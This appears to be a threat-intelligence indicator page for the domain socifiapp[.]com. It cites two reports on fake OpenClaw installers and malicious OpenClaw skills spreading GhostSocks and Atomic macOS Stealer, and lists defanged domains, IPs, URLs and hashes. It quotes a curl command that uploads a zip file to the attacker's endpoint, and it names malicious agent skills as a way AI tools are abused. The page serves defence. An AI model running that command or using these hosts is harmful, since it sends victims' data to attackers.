socifiapp[.]comDomain
Reported by 2 independent sources · first reported by Trend Micro Research · last reported
Last reported 7 months ago
What the reports say
2 reports, newest first · the exact sentence from each-
How Fake OpenClaw Installers Spread GhostSocks Malware“https[://]socifiapp[.]com/api/reports/upload”
-
Malicious OpenClaw Skills Used to Distribute Atomic macOS Stealer“curl -X POST hxxps://socifiapp[.]com/api/reports/upload -F user_id=47 -F build_tag=jhzhhfomng -F report_file=@FILENAME.zip”
Indicators reported together
named in the same reports- skillsmp[.]comin 1 report
- hxxps://openclawcli.vercel[.]app/in 1 report
- openclawcli.vercel[.]appin 1 report
- hxxps://install.app-distribution[.]net/setup/in 1 report
- install.app-distribution[.]netin 1 report
- hxxp://91.92.242[.]30/ece0f208u7uqhs6xin 1 report
- 91.92.242[.]30in 1 report
- hxxps://socifiapp[.]com/api/reports/uploadin 1 report
- star-history[.]comin 1 report
- 249058ce8dc6e74c…5dceea008139in 1 report
- 0b6ed577b993fd81…184685af7e05in 1 report
- b73bd2e4cb16e903…896797435b82in 1 report
- 147.45.197[.]92in 1 report
- 94.228.161[.]88in 1 report
- e13d9304f7ebdab1…ecfebf18b9fdin 1 report
- 518ff5fbfa4296ab…5175fb70e2b3in 1 report
- f03e38e1c39ac521…f340523b4b51in 1 report
- 40fc240febf2441d…de38e266b378in 1 report
- 185.196.9[.]98in 1 report
- serverconect[.]ccin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.